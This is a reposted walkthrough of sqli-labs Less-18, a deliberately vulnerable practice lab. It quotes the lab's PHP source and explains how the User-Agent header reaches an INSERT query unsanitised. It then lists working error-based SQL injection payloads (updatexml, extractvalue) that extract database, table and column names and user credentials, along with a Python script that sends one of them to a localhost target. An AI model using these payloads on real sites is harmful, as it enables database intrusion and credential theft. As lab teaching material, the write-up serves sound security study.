当前位置:网站首页>SQL injection LESS18 (header injection + error injection)
SQL injection LESS18 (header injection + error injection)
2022-07-28 12:15:00 【Hua Weiyun】

Sign in Dumb:Dumb
Source audit
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; //echo 'Your User Agent is: ' .$uagent;// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "<br>"; echo 'Your Password:'. $passwd; echo "<br>"; echo 'Your User Agent String:'. $uagent; echo "<br>"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } }?>check_input function ,SQL Inject Less17( An error injection + Subquery ), Look at the last question
$value = substr($value,0,20); But this time take the first twenty characters
$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];_SERVER The elements in the array are composed of Web Server creation , But there is no guarantee that every server will provide all the elements , Some servers may ignore some , Or provide some elements that are not listed here .
$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);This time, $passwd Also added check_input function , So we can't go through passwd Conduct SQL Yes
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);One select Query statement , Because you have to $row1 Not empty , You can enter the following if, So we entered uname and passwd All users must exist correctly .
== Core code ==
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);$uagent Inserted into the database .
We control $uagent Carry out our payload
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or updatexml(1, concat('#', database()), 0), 1, 1) #So set $uagent by
' or updatexml(1, concat('#', database()), 0), 1, 1) # Just take the back one $IP, $uname Also written dead 
Of course ' and updatexml(1, concat('#', database()), 0) and '1'='1
' or updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0),1,1)#
' or updatexml(1, concat("#", (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0),1,1) #
' or updatexml(1, concat("#", (select group_concat(username,password) from users)), 0),1,1) #
#coding:utf-8import requestsurl = "http://localhost/sqli-labs-master/sqli-labs-master/Less-18/"str = "flag"print("start!")key = {'uname': "admin",'passwd':"admin"}headers = { "Host": "localhost", "User-Agent": "'and extractvalue(1,concat('~',(select schema_name from information_schema.schemata limit 5,1),'~')) and '1'='1", "" "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "34", "Referer": "http://localhost/sqli-labs-master/sqli-labs-master/Less-18/", "Cookie": "Phpstorm-b508df8e=d3fe512f-f910-46f4-ac3f-7937af84827d", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache"}res = requests.post(url,headers = headers,data=key).textif str in res: print("fish!") print(res)print("end!")边栏推荐
- 瑞吉外卖——Day01
- Reasons and solutions for moving the first column to the last column in El table
- 14. User web layer services (II)
- 2022.07.12 summer training personal qualifying (VII)
- 14、用户web层服务(二)
- Start from scratch blazor server (2) -- consolidate databases
- Direct insert sort and Hill sort
- QT writing IOT management platform 42 data query export print
- Lua对table进行深拷贝
- Application of mobile face stylization Technology
猜你喜欢

华为发布HarmonyOS 3及全场景新品,智慧体验更进一步

Develop your own NPM package from 0

易观分析:以用户为中心提升手机银行用户体验,助力用户价值增长

China business CDP white paper | love Analysis Report

Lua 中 __index、__newindex、rawget、rawset的理解

Interpretation of the paper: attention mechanism in medical images

laravel表单数据验证

Hcip (PAP authentication and chap authentication of PPP)

Direct insert sort and Hill sort

社区点赞业务缓存设计优化探索
随机推荐
Hcip (condition matching and OSPF packet related knowledge)
Launcher sample code
解决PHP提示Warning: Division by zero in错误
Notes on using objectanimator
云原生机器学习落地难?灵雀云助力企业快速应用 MLOps
Business visualization - make your flowchart'run'(4. Actual business scenario test)
Ruiji takeout - day01
Lua 中 __index、__newindex、rawget、rawset的理解
String function (Part 2)
Pycharm debugging mode
Distributed system (III) construction of distributed transaction service
腾讯二面:@Bean 与 @Component 用在同一个类上,会怎么样?
Laravel $object->updated_at 返回的是Carbon对象,如何返回正常时间格式
Several ways to bind controls --butterknife/viewbinding/databinding
Code simplification
Lua middle__ index、__ Understanding of newindex, rawget and rawset
Untiy中控制Animation的播放速度
Gecko competition 2.0 is new! Come and show your flexible operation skills!
Interfaces and abstract classes
tolua之wrap文件的原理与使用
